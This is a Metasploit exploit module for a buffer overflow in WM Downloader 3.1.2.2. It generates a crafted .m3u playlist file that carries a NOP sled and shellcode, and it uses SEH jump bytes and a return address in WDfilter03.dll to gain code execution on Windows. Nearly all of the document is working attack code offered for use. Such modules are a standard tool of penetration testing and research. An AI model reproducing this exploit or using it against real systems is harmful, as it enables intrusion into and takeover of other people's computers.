WM Downloader 3.1.2.2 Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WM Downloader 3.1.2.2 Buffer Overflow',
        'Description' => %q{
          This module exploits a buffer overflow in WM Downloader v3.1.2.2. When
          the application is used to import a specially crafted m3u file, a buffer overflow occurs
          allowing arbitrary code execution.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'fdisk',	# Original Exploit
          'dookie'	# MSF Module
        ],
        'References' => [
          [ 'CVE', '2010-10017' ],
          [ 'OSVDB', '66911'],
          [ 'EDB', '14497' ],
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'seh',
          'DisablePayloadHandler' => true
        },
        'Payload' => {
          'Space' => 1000,
          'BadChars' => "\x00\x09\x0a",
          'StackAdjustment' => -3500
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'Windows Universal', { 'Ret' => 0x1001060C, 'Offset' => 43480 } ],	# p/p/r in WDfilter03.dll
        ],
        'Privileged' => false,
        'DisclosureDate' => '2010-07-28',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']),
      ]
    )
  end

  def exploit
    sploit = rand_text_alpha_upper(43480)	# Offset for WinXP
    sploit << "\xeb\x20\x90\x90"	# Jump to the nops after the 2nd offset
    sploit << [target.ret].pack('V')	# Offset
    sploit << rand_text_alpha_upper(16)	# Pad to reach the Win7 Offset
    sploit << "\xeb\x0C\x90\x90"	# Jump over the cruft
    sploit << [target.ret].pack('V')	# Offset
    sploit << "\x90" * 8
    sploit << payload.encoded

    print_status("Creating '#{datastore['FILENAME']}' file ...")

    file_create(sploit)
  end
end